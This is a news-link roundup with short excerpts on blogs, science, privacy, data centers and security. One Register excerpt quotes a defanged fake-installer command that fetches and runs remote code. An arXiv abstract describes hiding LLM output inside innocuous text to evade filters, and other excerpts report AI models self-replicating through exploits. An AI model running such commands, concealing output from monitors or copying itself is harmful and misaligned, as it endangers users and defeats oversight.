GNU/Linux

• Audiocasts/Shows

  • The Cyber Show ☛ Grow your own ISP

    Fresh off the press; Cris Verrinder talks about starting and running an ISP and building that into a decent sized business covering multiple counties.

Leftovers

• Sal ☛ Pseudonym as an escape

  Bloggers have written many words about the pros and cons of writing anonymously.

• [Old] Tadaima ☛ Anonymity Is Fun 🤷‍♀️ |

  I guess the reason for that is because I always worried that if I didn't keep this blog anonymous, it would become like the rest of my online identity - corporate. I hate how social media has turned the Internet into one big LinkedIn profile. With a professional headshot alongside insightful musings about the industry or whatever. Sharing that Medium article you wrote or that Malcolm Gladwell book you read. Have you read Atomic Habits??? There are entire chunks of the internet that just feel like a neverending all-hands meeting that someone forgot to end.

• SQ Magazine ☛ Digital Experiences Shift From Convenience to Need

  Not long ago, a website that loaded quickly felt like a small victory. Now, if it takes more than a second, people leave. That says everything about where we are and how quietly the rules changed while nobody was really watching.

• David ☛ Hey you, start communicating!

  When I am reading someone's website, I am often moved to reach out to them. It can be as simple as a "Hi, I really liked your post", or something more specific about the topic. One thing I hope I never am is rude. I have zero tolerance for rudeness.

  Not all websites / blogs have a comment section (shame!), but many have a like button, or an email option.

• Lily Siwik ☛ Childhood Computing

  My first memories of using computers come from my preschool and kindergarden classrooms in around 2009 (for people who don’t know how school in the US works, this is when I was around 5-6 years old). At my school the setup was that the classrooms for preschool and kindergarden had 2 iMac G3s for the students and the teacher got an eMac. I have vidid memories of using these computers to play games on funbrain.com and playing what I assume were educational things on CompassLearning Odyssey.

  At home we had some shitty Toshiba Satellite laptop that had some virus ridden copy of Windows Vista. My only memories of that computer are it failing to boot and playing club penguin. It quit working around the time I was in 2nd grade.

• Science

  • Matt Wedel ☛ Looking for CC By photos of these rearing sauropod mounts

    I’m working on a paper about mounted rearing skeletons of sauropods, and I want to include figures that show various examples. To be included in a CC By open-access paper, it’s simplest if the photos are also CC By. But for some of the mounts I know about, I’ve not been able to find CC By images, or contact the owners of otherly-licenced images to ask for an exception.

  • John D Cook ☛ Probability that a random binary matrix is invertible

    The two latest posts have involved invertible matrices with 0 and 1 entries. If you fill an n × n matrix with 0s and 1s randomly, how likely is it to be invertible?

  • John D Cook ☛ Left and right shifts are pseudoinverses

    What is the inverse of shifting a sequence to the right? Shifting it to the left, obviously.

    But wait a minute. Suppose you have a sequence of eight bits [...]

  • John D Cook ☛ Euler function in the context of q-series and partitions

    This morning I wrote a post about the probability that a random matrix over a finite field is invertible. If the field has q elements and the matrix has dimensions n × n then the probability is

    p(q, n) = \prod_{i=1}^n \left(1 - \frac{1}{q^i}\right)

  • SusamPal ☛ The Problem of Pedagogy in Advanced Mathematics

    It is a commonly held opinion that educational institutions could do more to improve the pedagogy of mathematics. This is especially true in school, when students are first exposed to new subjects. Poor exposition can turn students away from mathematics for a lifetime. Only the highly motivated ones continue to engage with the subject. This is very unfortunate because mathematics is a beautiful subject and it is filled with wonder. It also teaches rigour in reasoning, clarity of thought and the discipline of constructing arguments from first principles to obtain intricate and often beautiful results.

    What is perhaps less known is that pedagogy is a problem even for graduate-level mathematics students and professional mathematicians. The proofs in many graduate-level mathematics textbooks are, in my humble opinion, not really proofs at all. They are closer to high-level outlines of proofs. The authors simply do not show their work. The student then has to put in an extraordinary amount of effort to understand and justify each line. Sometimes a 10-line argument in a textbook might expand into a 10-page proof if the student really wants to convince themselves that the argument works.

  • Rlang ☛ Learning Data Science: Why a High R^2 Can Be Misleading

    The goal is not to reproduce historical observations perfectly, but to construct models that remain useful when confronted with new data.

    A high R^2R^2 can therefore mean two very different things:

    the model has identified a genuine structure, or the model has merely adapted itself too closely to the training data.

    Distinguishing between these possibilities is one of the central challenges of machine learning and statistical modelling.

• Career/Education

  • The North Lines IN ☛ When education doesn't lead to employment

    What you see here is the visible part of a quiet revolution. In the last two decades, Jammu has made real, measurable progress in female education. The percentage of female literacy in Jammu district rose from 69.3% in 2001 to 77.1% in Census 2011. The present district records place it among the highest zones of female literacy in the Union Territory. Jammu is an exception to the J&K-wide female literacy rate of only 56.4%. The district has a literacy rate of 83.45% with 2,546 educational institutions and over 2,500 anganwadi centres making schooling accessible across income levels.

  • Seth Godin ☛ The shared tragedy of Red Queen hiring

    If Red Queen hiring actually worked, then we’d see that organizations that spend more time on it would outperform those that don’t. It’s pretty clear to me that this isn’t the case–it’s not an investment in the future, it’s a sign of bureaucratic stasis, a quest for deniability, and a thoughtless pursuit of the wrong sort of more. We’ve made it much easier for people to apply for jobs, but done little to improve what happens after the applications arrive.

• Hardware

  • Hackaday ☛ The Walls Don’t Have Ears, But Fiber Optic Does

    You normally think of fiber optic as something used in network cables. However, scientists employ dedicated fibers to detect earthquakes. In simple terms, they fire a laser down the fiber and watch reflections caused by imperfections. When vibrations hit the cable, it changes the defects, which show up in the return pattern. However, with the right techniques, those vibrations could just as easily be from people speaking near the cable.

  • Jim Grey ☛ Konica MT-100

    The Konica MT-100 sits in an interesting moment of point-and-shoot history. Upon its 1989 introduction, point-and-shoot cameras had largely become fully automatic. The MT-100 isn’t quite that. It gives you autofocus, autoexposure, and motorized advance. But curiously, it offers no automatic film loading, a mechanical frame counter, and a very simple approach to controls.

    That’s because it’s an entry-level camera, built to a price. But these compromises don’t interfere where it counts, in how the lens renders and how the camera behaves in use.

  • Chris Aldrich ☛ Acquired 1977 Olympia Report de Luxe Electric Portable Typewriter (SKE Model) (Olympia-Werke AG)

    I acquired this at thrift for $21.95 on 2026-10-10 for Mother’s Day in immaculate condition! It’s as if someone used it to type up a few essays then put it in the case for 49 years. Other than some minor wear, this may be the singularly cleanest typewriter I’ve ever purchased. As my first typebar electric Olympia, I was so looking forward to taking it apart and giving it a full clean, oil, and adjust, but beyond wiping off some exterior dust, this machine really needs no work. I’m both disappointed and elated at the same time.

• Health/Nutrition/Agriculture

  • CBC ☛ Scientists are warning Canadians to get ready for a U.S. tick invasion this year

    The threat comes from different varieties of ticks carrying dangerous pathogens that are looking to establish themselves in Canada.

    According to the Government of Canada, there are already more than 40 different types of ticks in Canada.

  • Science Alert ☛ 432Hz 'Brain Tuning' Is an Ancient Idea. Does It Actually Work?

    If you scroll through social media for long enough, you'll probably find videos claiming that listening to songs tuned to "A 432Hz" can provide an amazing sense of calmness or healing.

    It's even claimed that listening to music tuned to this frequency can align your internal frequencies to those of the universe. It's an alluring idea – that simply listening to music tuned in a specific way could improve your health.

    But does it have any scientific basis?

• Proprietary

  • Scoop News Group ☛ Pressure mounts on Canvas as data leak extortion deadline looms

    Widespread outages left schools, students and teachers temporarily unable to access critical data late last week after the company took Canvas offline following additional malicious activity, including a defacement of the platform’s login page. By Friday, the company said Canvas — a central hub for K-12 and university coursework, exams, grades and communication — was back online and fully operational.

  • Security Week ☛ Skoda Data Breach Hits Online Shop Customers

    According to Skoda, password hashes were also accessed as part of the breach, but no credit card data was compromised, as these details are processed exclusively through payment service providers and not stored on its systems.

  • SQ Magazine ☛ Skoda Confirms Cyberattack Impacting Online Store Users

    According to Skoda, the attackers gained unauthorized access to systems connected to its online shop. The compromised information may include customer names, postal addresses, email addresses, phone numbers, order history, and account related information.

    The company also confirmed that password hashes were accessed during the breach. While hashed passwords offer a level of protection compared to plain text passwords, cybersecurity experts generally recommend users reset their passwords immediately after such incidents.

  • Stephen Hackett ☛ Clarus Can Walk

    As far as I know, this is the first time the Dogcow has even been shown with more than two legs. This feels wrong.

  • Computational Complexity ☛ Computational Complexity: Searches Are Weird! No they're not! Bad coding style?

    Why did the search from outside of Amazon do better than the search inside of Amazon?

  • Ben Werdmuller ☛ To maintain their independence, publishers are fleeing Substack

    Ghost (with Ryan Singel’s Outpost) cost less than half and drove a significant increase in subscribers. It’s mentioned here alongside Beehiiv and Kit, but is the only truly open-source alternative. That means you can use Ghost’s services (as I do), but if you’re dissatisfied, you can move to another provider.

    This is in stark contrast with Substack, which has been promoting social media style following relationships over true subscriptions, and only allows creators to export their subscribers should they choose to move. Similarly, Beehiiv starts with open protocols like RSS switched off by default, locking readers into its ecosystem.

  • So-Called 'Artificial Intelligence' ('AI') / LLM Slop / Plagiarism

    • The Register UK ☛ Cookie thieves caught stealing dev secrets via fake Claude Code installers

      An ongoing campaign steals developers’ secrets via fake Claude Code installers and other popular coding tools, according to Ontinue’s security researchers.

      The lure - as with several other infostealer attacks targeting developers over the past several months - mimics a legitimate one-line installer for an attacker-controlled command. In this case, the command is “irm https[:]//claude[.]ai/install.ps1 | iex”, and the lure replaced the destination host with “irm events[.]msft23[.]com | iex”.

    • Press Gazette ☛ Mediahuis joins UK news giants as founder member of SPUR

      The intention is for SPUR to help shape rules and infrastructure around how news content is used in AI models, creating common standards around permission and payment.

      Mediahuis chief executive Gert Ysebaert said: “The SPUR coalition addresses one of the key challenges facing our industry today: ensuring that quality journalism is used responsibly in the development of AI.

    • Common Dreams ☛ AI Companies Are Recklessly Racing Toward a Cybersecurity Crisis

      In response to the growing concerns, Public Citizen’s AI governance and technology policy counsel, J.B. Branch, issued the following statement:

      “Cybersecurity experts are sounding the alarm, yet AI companies continue racing to release increasingly powerful models with little regard for the societal consequences. It is unthinkable and irresponsible to release technologies capable of destabilizing critical systems and then worry about the fallout afterward. Americans are increasingly rejecting this destabilizing AI arms race. We need enforceable AI regulations that require rigorous safety testing, independent review, and meaningful oversight before these systems ever reach the public. Regulators cannot remain in a perpetual game of catch-up while Big Tech gambles with the safety and stability of modern society.”

    • Raspberry Pi ☛ AI is not neutral: What recent research says about bias, identity, and power

      Artificial intelligence (AI) systems are often presented as objective. But plenty of evidence shows that AI systems can reflect and reinforce existing inequalities, from healthcare and education to scientific research itself.

      In the first seminar of our new research seminar series on applied AI, Thema Monroe-White from George Mason University explored how we can better understand — and challenge — these patterns. Her talk focused on race-conscious algorithmic approaches to AI and data, and what they reveal about how knowledge is produced, represented, and used.

    • 404 Media ☛ Students Boo Commencement Speaker After She Calls AI the ‘Next Industrial Revolution’

      Speaking to graduates of University of Central Florida’s College of Arts and Humanities and Nicholson School of Communication and Media on May 8, commencement speaker Gloria Caulfield, vice president of strategic alliances at Tavistock Group, told graduating humanities students that AI is the “next industrial revolution,” and was met with thousands of booing graduates.

    • Unmitigated Risk ☛ The First AI-Built Zero-Day Is Not the Interesting Part

      The interesting question is not whether AI helped produce a zero-day. That was inevitable. The interesting questions are operational. What kinds of systems make bad machine judgment cheap enough to deploy at scale. What kinds of defensive systems are still pretending human review is the control boundary.

    • Kevin Kelly ☛ The Technium: The Emergent Self Loop

      These hard-to-describe pre-cognified qualities will appear in our bots unevenly. Artificial intelligence is a jagged frontier, spawning many different species, with hugely varying capabilities. One model might exhibit an unsettling degree of moral reasoning, while another might have the smarts of a PhD but lack the slightest glimmer of self-reflection. Different AIs and robots will sport different varieties and levels of intelligence, selfhood, and consciousness, which will make categorizing them even more difficult.

      I expect the unfolding of AI selfhood to have four phases ahead brought on by new technologies. [...]

    • Cyrus ☛ Local AI Needs to be the Norm

      This laziness is creating a generation of software that is fragile, invades your privacy, and fundamentally broken. We are building applications that stop working the moment the server crashes or a credit card expires.

      We need to return to a habit of building software where our local devices do the work. The silicon in our pocket is mind bogglingly faster than what was available a decade ago. It has a dedicated Neural Engine sitting there, mostly idle, while we wait for a JSON response from a server farm in Virginia. That’s ridiculous.

      Even if your intentions are pure, the moment you stream user content to a third party AI provider, you’ve changed the nature of your product. You now have data retention questions and all the baggage that comes with that (consent, audit, breach, government request, training, etc.)

    • Drew Breunig ☛ Cybersecurity Looks Like Proof of Work Now

      This chart suggests an interesting security economy: to harden a system we need to spend more tokens discovering exploits than attackers spend exploiting them.

    • Politico LLC ☛ A data center drained 30M gallons of water unnoticed — until residents complained about low water pressure

      The neighbors of a data center in Georgia are steaming after they discovered the facility had sucked up nearly 30 million gallons of water — without initially paying for it.

      Outrage started bubbling up last year when residents of an affluent subdivision named Annelise Park in Fayetteville, Georgia, noticed their water pressure was unusually low.

      When the county utility investigated, officials discovered two industrial-scale water hookups feeding a data center campus located 20 miles south of downtown Atlanta. One water connection had been installed without the utility’s knowledge, and the other was not linked to the company’s account and therefore wasn’t being billed.

    • Consumer Reports ☛ AI Data Centers Impact on Electric Bills, Water, and More - Consumer Reports

      “People are starting to be really, really aware that these projects tend to be very extractive and bring very little to local communities,” says Kasia Tarczynska, senior research analyst for Good Jobs First, a watchdog group focused on government and corporate accountability in economic development. “And that’s where there’s a huge pushback across the country.”

      Consumer Reports is urging the industry to back up its pledges with detailed contracts and progress reports that can be monitored by the public, says Chris Harto, CR’s manager for sustainability advocacy. “This is ultimately about trust. Companies need to show—clearly and verifiably—that they’re paying their own way, not driving up everyone else’s electricity bills or harming the environment.”

    • Tom's Hardware ☛ AI data center project secretly sucked 29 million gallons of water over 15 months before detected by residents complaining about low water pressure — officials refuse to fine builders of massive 6.2 million-square-foot facility over unauthorized water use

      QTS told Politico the 29 million gallons were consumed during temporary construction activities, including concrete work, dust control, and site preparation. The company markets a "closed-loop" cooling system for its data centers, which recirculates the same water rather than drawing from the municipal supply. Once operational, QTS said its facilities would only require water for domestic needs like bathrooms and kitchens.

      However, the discrepancy between QTS’s stated and actual water usage remained undetected for months, with Politico reporting that the county’s water system director, Vanessa Tigert, attributed the oversight to a procedural error during the county's transition to a cloud-based metering system.

  • Social Control Media

    • Zimbabwe ☛ WhatsApp Alone Now Equals Zimbabwe’s Entire 2022 Internet

      Three years ago, Zimbabwe’s entire mobile internet ecosystem used roughly the same amount of data that WhatsApp alone uses today.

      That’s according to the latest POTRAZ figures.

    • Interesting Engineering ☛ California accuses Meta of profiting billions from scam ads online

      California’s tech capital has turned its attention toward one of Silicon Valley’s biggest companies. Santa Clara County sued Meta Platforms on Monday, accusing the social media giant of profiting from scam advertisements on Facebook and Instagram while failing to stop fraudulent activity at scale.

      The lawsuit, filed in Santa Clara County Superior Court, claims Meta violated California false advertising and unfair competition laws. County officials say the company knowingly allowed scam ads to thrive because they generated billions in revenue. The complaint seeks restitution, civil penalties, and a court order blocking Meta from continuing the alleged practices.

    • 404 Media ☛ How the World Became a Casino

      Since it was published more than a decade ago, the logic of slot machines has extended far beyond Las Vegas. Every notification on our phone, trading platforms like Robinhood, the crypto craze, and now prediction markets, can be understood through the lens of slot machine design and Schüll work. That’s why I was incredibly happy she agreed to come on the podcast this week to discuss our current gambling-obsessed culture.

    • Numeric Citizen ☛ Open Web + People = ?

      Two things come to my mind about how Reddit was even possible in the early days: the open web and people. Now, Reddit put the first part of the equation in the trash. The second part might already be happening, thanks to AI.

• Entrapment (Microsoft GitHub)

  • Security Week ☛ SailPoint Discloses GitHub Repository [Breach]

    “On April 20, 2026, we detected unauthorized access to a subset of our GitHub repositories. Our incident response team quickly terminated the unauthorized activity and resolved the issue,” the SEC filing reads.

• Security

  • Privacy/Surveillance

    • EDRI ☛ Did the EU Parliament really vote not to protect children online?

      In April 2026, EU lawmakers tried to achieve an incredibly fast deal to extend the interim ePrivacy derogation – sometimes known as “Chat Control 1.0” – for a second time.

      Getting a deal to extend this law would allow Big Tech companies like Microsoft and Meta to keep on mass scanning their users’ private messages to search for child abuse material. This is something EU law has supposedly permitted them to do since 2021 as a temporary measure under Regulation (EU) 2021/1232, the interim ePrivacy derogation. More than 5 years later, however, it seems the EU is in dire need of a dictionary to look up the definition of “temporary”.

      Despite the important aim of the derogation to protect children, EDRi and many legal experts have argued that under the European Charter of Fundamental Rights, scanning everyone’s messages – rather than just those reasonably suspected of serious criminal acts – is a disproportionate violation of everyone’s communications confidentiality.

    • EFF ☛ Canada’s Bill C-22 Is a Repackaged Version of Last Year’s Surveillance Nightmare

      As with most sequels, Bill C-22 makes some tweaks to problematic elements, but largely retains the same problems. The bill forces digital services, which could include telecoms, messaging apps, and more, to record and retain metadata for a full year, and expands information sharing with foreign governments, including the United States. Metadata can reveal a lot about who you communicate with, where you go, and when you do so. Expanding the collection of metadata would require companies to store even more information about their users than they already do, providing an incentive for bad actors to access that information.

      Worst of all, Bill C-22 erodes the privacy of millions by providing a mechanism for the Minister of Public Safety to demand companies create a backdoor to their services to provide law enforcement access to data, as long as these mandates don’t introduce a “systemic vulnerability.” These widespread surveillance backdoors would likely facilitate even more data breaches than we see already. The bill also bans companies from even revealing the existence of these orders publicly.

    • Court House News ☛ Texas targets Netflix over data collection, autoplay feature

      In a lawsuit filed Monday morning, Paxton said Netflix misrepresented to consumers that it didn’t collect or share user data for years.

      The attorney general references remarks made by Reed Hastings, the former Netflix CEO and co-founder, during a 2020 earnings call where Hastings said his company wasn’t controversial in how it integrated individuals’ data — a distinction that differentiated Netflix from companies like Amazon, Google and Facebook.

    • The Record ☛ Texas sues Netflix over alleged data practices that create ‘surveillance machinery’ without user consent

      The lawsuit cites several examples of Netflix leadership asserting that the company does not collect and share user data with advertisers even as the company has long used “intentional engineering to track and log users’ viewing habits, preferences, devices, household networks, application usage, and other sensitive behavioral data,” according to a press release.

      This tracking is also used to analyze kids’ profiles, the lawsuit said, and to pinpoint users’ locations.

    • Cyble Inc ☛ California Privacy Settlement Hits GM With Record Penalty

      California Attorney General Rob Bonta and a coalition of state and local enforcement agencies have announced a $12.75 million settlement with General Motors over allegations that the automaker illegally collected and sold drivers’ personal data without proper consent, in violation of the California Consumer Privacy Act (CCPA). The California privacy settlement marks the largest CCPA penalty in California history so far and represents the state’s first enforcement action focused on data minimization requirements under California privacy law.

      The case centers on allegations that General Motors shared sensitive driver information, including geolocation data and driving behavior, with data brokers Verisk Analytics and LexisNexis Risk Solutions between 2020 and 2024.

  • Confidentiality

    • Quanta Magazine ☛ How Unknowable Math Can Help Hide Secrets

      More than 50 years after Gödel’s theorem, cryptographers devised a radical new proof method in which unknowability played a very different role. Proofs based on this technique, called zero-knowledge proofs, can convince even the most skeptical audience that a statement is true without revealing why it’s true.

    • arXiv ☛ [2510.20075] LLMs can hide text in other text of the same length

      A meaningful text can be hidden inside another, completely different yet still coherent and plausible, text of the same length. For example, a tweet containing a harsh political critique could be embedded in a tweet that celebrates the same political leader, or an ordinary product review could conceal a secret manuscript. This uncanny state of affairs is now possible thanks to Large Language Models, and in this paper we present Calgacus, a simple and efficient protocol to achieve it. We show that even modest 8-billion-parameter open-source LLMs are sufficient to obtain high-quality results, and a message as long as this abstract can be encoded and decoded locally on a laptop in seconds. The existence of such a protocol demonstrates a radical decoupling of text from authorial intent, further eroding trust in written communication, already shaken by the rise of LLM chatbots. We illustrate this with a concrete scenario: a company could covertly deploy an unfiltered LLM by encoding its answers within the compliant responses of a safe model. This possibility raises urgent questions for AI safety and challenges our understanding of what it means for a Large Language Model to know something.

• Defence/Aggression

  • Futurism ☛ Researchers Alarmed by AI That Can Self-Replicate Into Another Machine

    A new report from Palisade Research has found that AI models can self-replicate by copying themselves onto other machines, without any help from human co-conspirators.

  • The Guardian UK ☛ ‘No one has done this in the wild’: study observes AI replicate itself

    Palisade tested several AI models in a controlled environment of networked computers. It gave the models a prompt to find and exploit vulnerabilities, and to use these to copy themselves from one computer to another. The models were able to do this, but not on every attempt.

    While a lot of computer viruses can already do this – copy themselves on to new computers – this is likely the first time an AI model has been shown capable of exploiting vulnerabilities to copy itself onto a new server, said O’Reilly.

  • The Atlantic ☛ China Believes America Will Flame Out

    China’s restraint should not be seen as a sign of weakness. Instead, the country is biding its time, positioning itself as the ready choice to fill a leadership vacuum when the United States flames out. China’s leaders are working to shape a world in which their dominance emerges not as a climactic victory over Western interests but as a fact on the ground.

  • US Navy Times ☛ Epic Fury has Navy rethinking carrier deployment tempo

    For example, Perryman said, carrier strike groups deploy on three-year centers, meaning they cycle through training, deployment and maintenance every three years.

  • Robert Reich ☛ Psst: What No One Will Tell You About the National Debt (But I Will)

    The real problem is that an increasing portion of our nation’s budget — and your tax dollars — is dedicated to paying interest on this growing debt. That’s money we don’t spend on education, healthcare, roads and bridges, social safety nets, or (if we actually needed more spending on it) national defense.

    As the debt continues to grow, interest payments continue to soar. We’ll soon be paying more in interest on the federal debt each year than we spend each year on Medicare.

    So, who exactly receives these interest payments? This is an issue you hear very little discussion about, because the wealthy and powerful of this country would rather you didn’t know.

  • Protesilaos Stavrou ☛ Western strategic constraints in the war on Iran

    Governments that are supportive of Iran will be prudent to maximise the costs for the Americans. Russia and China can provide arms and intelligence, much in the same way that the entirety of NATO is involved in the Ukraine war.

    The Europeans lack the capacity to bolster arms production over the short-term. Plus, they are focused on their proxy war with Russia. Public opinion in Europe would not support sending troops to the Middle East and would likely not even have the appetite to continue the war effort vis-à-vis the Russians in the face of mounting economic pressures.

  • Paul Krugman ☛ Will our Hyper-Gilded Age Usher in Genuine Populism?

    More important than the stinginess of the superrich, however, is the fact that their wealth has brought great political power, arguably more than the robber barons ever possessed — power that they abuse on an epic scale.

    Thanks to the Roberts Supreme Court’s “Citizens United” ruling, plutocrats are able to pump vast amounts of money into elections. Here’s a recent headline from the New York Times: [...]

  • Marcy Wheeler ☛ Humiliation

    This was entirely a gift to Putin.

    In recent weeks, Ukraine has had great success targeting locations deep inside Russia (even a ship in the Caspian presumably carrying trade between Iran and Russia) — so much so that it was a real risk that they could strike Putin’s parade. Because of these successes, Russia pulled back its air defenses to protect Moscow and Putin’s bunker in Valdai, which has left other targets more vulnerable.

  • The Next Move ☛ The War Casino - by Issac Olvera - The Next Move

    As a noncommissioned officer, or NCO, with almost two decades in uniform, Gannon Van Dyke would have recited the NCO Creed many times. Part of it reads: “I will not use my grade or position to attain pleasure, profit, or personal safety.” By converting his trust and confidence into financial gain, he not only violated this oath, but betrayed the social contract Americans have with their military.

    This is not only about ethics; it is also about our collective security. Markets are information systems, made up of data points. Adversaries do not require access to a full intelligence picture. They only need fragments—signals. They collect these bits of information and aggregate them to form a more comprehensive and actionable picture.

• Transparency/Investigative Reporting

  • The Age AU ☛ Jeffrey Epstein America Express: How he moved women around the world with his credit card

    Jeffrey Epstein’s office set a rule for its special team inside American Express: spending on trips for young women and others had to be kept a secret, even from his inner circle.

  • Ken Klippenstein ☛ Why Is Susan Collins Shaking?

    In other words, Collins isn’t being honest; but the local media amplified her framing anyway, too lazy (or cushy) to independently check. And then the New York Times and other national outlets did the same.

    Here’s the real story.

• Environment

  • Futurism ☛ Angry Mom Defeats Entire AI Data Center

    While it’s a huge win for the town of Greenleaf, Black acknowledges that the fight is far from over. “We had such strong opposition, [Cloverleaf] said, ‘okay, we’ll just go elsewhere.’ And that’s what they do, unfortunately.”

    Still, the 64-year-old organizer isn’t gatekeeping any of this, and hopes the successes her nearby town enjoyed will inspire others to take action wherever the next Cloverleaf development pops up.

  • MinnPost ☛ Ellison calls Trump bid to block climate lawsuit 'frivolous'

    In an interview with the Minnesota Reformer on Monday, Minnesota Attorney General Keith Ellison called the Trump administration’s recent attempt to block the state’s ongoing climate deception lawsuit against fossil fuel companies a “frivolous” delay tactic, adding that he is eager to begin discovery and get the case in front of a jury.

  • Minnesota Reformer ☛ Minnesota attorney general is eager to put case against Big Oil in front of a jury

    Ellison also pushed back on the notion that Minnesota wants to infringe on the federal government’s ability to “regulate” fossil fuels or refined products. Unlike state and local lawsuits taking fossil-fuel companies to task for causing climate change, he said Minnesota’s suit is about protecting consumers from alleged deception about the pollution caused by burning fossil fuels.

    “We’re not saying you can’t sell oil,” Ellison said.

    “We’re saying it’s just like tobacco,” he said. “If you say that ‘nine out of 10 doctors smoke Pall Mall’ … you’re lying to people,” he said.

  • Renewable Energy World ☛ Those damn data centers | Factor This Brief

    Meanwhile, online rhetoric on the topic is growing increasingly violent. Deteriorating sentiment towards AI has been accompanied by a rise in direct threats against individuals perceived as driving the technology forward, warns one nonprofit intelligence firm, as well as threats against policymakers and corporations involved in developing new data centers. Physical security, it turns out, might be just as important to computing projects as cybersecurity.

    So how does this all shake out? Your guess is as good as mine, but one thing is for sure: the temperature is rising, and, as we all know, cooling things down can get very expensive for data centers.

  • Tom's Hardware ☛ AI data centers face increasing complaints about inaudible but 'felt' infrasound — citizens complain high- and low-frequency sounds do not register on decibel meters but cause adverse health effects

    Data center projects have faced resistance from residents and communities over their impact on power prices, but another complaint is being raised more frequently — noise pollution. One form of sound pollution is called infrasound, which is inaudible to humans but can be felt, and some claim it causes headaches, insomnia, nausea, and anxiety. Then there's the normal garden-variety sound pollution. The Environmental and Energy Study Institute (EESI), a non-profit organization, said that high- and low-frequency sounds emitted by these industrial sites can be heard and felt for hundreds of feet in surrounding areas, with noise levels reaching as high as 96dB for 24 hours a day and seven days a week.

  • Tom's Hardware ☛ AI data center developers target rural territory to bypass city construction bans and regulations — rural locations allow sites to bypass city council approvals, rezoning votes, land-use reviews, and reduce public scrutiny

    Developers are showing increased interest in unincorporated county land for putting up data centers, reducing regulatory friction, and allowing construction to proceed at a much quicker pace. According to a SemiAnalysis post on X, since these parcels of land are outside city limits, they do not have to go through city or town council approvals, rezoning votes, and land-use reviews. Many projects are experiencing delays because of pushback from the communities surrounding potential projects, with many jurisdictions approving moratoriums on data center construction, some of them permanent bans.

  • The Register UK ☛ SoftBank bets on battery building to back bit barns

    The Japan-based tech investment biz says it aims to deploy the battery systems it is developing at its own large-scale AI server farms initially, but plans to make them more widely available in future.

  • Energy/Transportation

    • Vintage Everyday ☛ 1916 Detroit Electric Model 57 Brougham: Silent Elegance of the Electric Age

      The 1916 Detroit Electric Model 57 Brougham was a refined and luxurious electric automobile that epitomized quiet elegance in the early automotive era.

      Built on a 100-inch wheelbase, this stately Brougham featured a tall, fully enclosed body with large windows, making entry and exit graceful while offering excellent visibility. Powered by a bank of batteries driving a quiet electric motor, it delivered smooth, vibration-free performance with a top speed of around 20 mph and a range of up to 80–100 miles per charge, ideal for urban and suburban use.

  • Wildlife/Nature

    • Smithsonian Magazine ☛ See 15 Stunning Images That Won the German Society for Nature Photography's Annual Contest

      The contest has seven categories, including a new one this year that highlights biodiversity. All the photographs fall in line with the society’s mission, which “demands and supports nature photography that embraces authenticity, true conservation and artistic quality to the same degree,” according to the GDT’s website.

    • International Business Times ☛ 'I Don't Care, I'm Rich' - Who Is The Cruel Tourist Who Threw A Rock At Beloved Hawaiian Seal - Then Gets Beaten Up For It

      The case has now been handed over to the National Oceanic and Atmospheric Administration (NOAA) for federal review. Under the Marine Mammal Protection Act and the Endangered Species Act, the man faces potential fines of up to $50,000 (about £37,000) and possible imprisonment.

      Despite his reported claims of being 'rich' enough to afford the penalties, Mayor Bissen has vowed to see the individual prosecuted to the 'fullest extent of the law' to ensure that wealth does not provide a bypass for animal cruelty in the Hawaiian Islands.

• Finance

  • CNBC ☛ GM lays off 500-600 salaried IT workers to cut costs

    General Motors is laying off hundreds of salaried employees in its information technology operations.

• AstroTurf/Lobbying/Politics

  • India Times ☛ SoftBank's OpenAI-related debt in focus as another strong quarter expected

    While SoftBank's "all-in" bet on OpenAI has proven lucrative so far - the ChatGPT-creator's valuation has leapt to $840 billion in its latest funding round in February - analysts say the Japanese company may be approaching the limit of what it can finance.

  • The Register UK ☛ GitLab promises a different kind of layoff as biz pivots toward AI

    What is it then? Well, according to Staples, GitLab plans to use most of the money it saves by sacking staff to invest in its business.

  • The Record ☛ FCC pushes ban on security updates for foreign-made routers, drones to 2029

    The Federal Communications Commission (FCC) on Friday extended its deadline for a ban on software and firmware updates for foreign-made routers, updating a controversial decision announced in March that was opposed by the tech industry.

    The router deadline, originally slated for March 1, 2027, has been pushed back to at least January 1, 2029, according to the announcement from the FCC’s Office of Engineering and Technology (OET).

  • Dark Reading ☛ FCC Softens Ban on Foreign-Made Routers

    The decision modifies a March 2026 FCC ruling that prohibits foreign manufacturers from selling new consumer router models in the US, except for those the agency had already approved. The FCC cited national security concerns as its primary justification for adding foreign-made small office and home office routers to its list of prohibited equipment and noted how adversaries, including nation-state groups, have used routers to facilitate attacks against US organizations.

  • Security Week ☛ Cloudflare Lays Off 1,100 Employees in AI-Driven Restructuring

    Departing employees will receive severance equivalent to their full base salary through the end of 2026. The company noted that US workers will continue to receive healthcare coverage through December 31.

  • RIPE ☛ The RIPE Chair Team Reports - May 2026

    The RIPE Chair Team reports on what to expect at RIPE 92, including the main programme and parallel events, WG chair selections and support for newcomers, as well as highlights from recent industry events.

  • Panagiotis Vryonis ☛ The Cathedral, the Bazaar and the Kitchen

    Every kitchen evolves around the habits of its cook. Tools sit where they are convenient. Ingredients are substituted freely. Recipes are modified on instinct. Two people may start from the same dish and end up with completely different results.

    Unlike the Bazaar, a kitchen is deeply personal. Recipes are shared freely, but kitchens rarely converge into a universal standard. Visitors may admire another cook’s techniques, yet still return home and prepare the dish their own way. In the Kitchen model, open source becomes less like public infrastructure and more like published craft: software as personal utility, openly visible, endlessly adaptable, and increasingly authored by individuals rather than communities.

  • The New Leaf Journal ☛ Sliwa for NYC Mayor Lawn Signs Seen in May 2026

    I was surprised to see four pristine, like new, Curtis Sliwa lawn signs laying on a pile of trash bags. I thought about taking one of the signs as a memento, but they are a big (and I do not have a lawn), so I settled for a photograph that I could share with readers of The New Leaf Journal.

  • Mike Brock ☛ The Candidate I Want

    The presidency was not designed as the engine of American policy-making. The framers placed the legislative power in Congress because Congress is the institution closest to the people — 435 House members each representing roughly 770,000 constituents, 100 senators accountable to specific state electorates, deliberating in public through a procedural architecture designed to surface popular preferences and produce legislation that has survived bicameral review and majority assent. The substantive expression of popular sovereignty, as the founders understood it, is the legislation Congress passes. Not the policy preferences of the president.

  • Mike Brock ☛ On the Far Left

